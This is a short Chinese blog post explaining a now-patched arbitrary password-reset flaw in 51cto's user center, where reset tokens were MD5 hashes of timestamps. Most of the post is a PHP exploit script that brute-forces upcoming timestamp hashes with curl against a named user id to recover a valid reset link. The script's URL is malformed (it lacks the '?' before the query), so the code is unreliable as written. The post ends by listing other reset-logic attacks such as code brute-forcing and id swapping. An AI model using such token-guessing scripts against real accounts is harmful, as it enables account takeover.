51cto任意密码修改(失效了)

  这个任意密码修改已经发现一年多的时间了。 今天准备演示呢,结果拿出来测试的时候失效了。

  为何可以任意密码修改,如下

  http://ucenter.51cto.com/setpass.php?id=6330498&unid=0a35749ac3f8dc33c307e504448625fe

  这个是修改密码的链接

  存在漏洞时候的unid=0a35749ac3f8dc33c307e504448625fe这里的unid是时间戳之后md5加密的,只要我们知道用户的邮箱、就选择找回密码、猜解发送给用户的url、就可以修改密码了。

  exp:

  <?php

  echo time().'<br>';

  for($a=1;$a<=40;$a++){

  //获取当前时间戳加一 并且使用md5加密

  $b=md5(time()+$a);

  //初始化curl

  $ch = curl_init() ;

  //设置url路径

  $url="http://ucenter.51cto.com/setpass.phpid=6330498&unid=$b";

  // 设置你需要抓取的URL

  curl_setopt($ch,CURLOPT_URL,"$url");

  // 返回结果,而不是输出它 1为返回结果 0为直接输出(不明白的请看http://0x007.blog.51cto.com/6330498/1226301 )

  curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);

  //发送curl请求

  $result = curl_exec($ch);

  //字符串匹配

  if (stripos($result, '确认密码:')) {

  echo "ok"."<a href=$url tar>您的修改密码连接为</a>";

  }

  curl_close($ch);

  }

  ?>

  一个逻辑漏洞而已, 任意密码修改的还有很多的例子、比如爆破验证码、比如找回密码的id可以替换他人的 、等等。

 

发表评论

邮箱地址不会被公开。 必填项已用*标注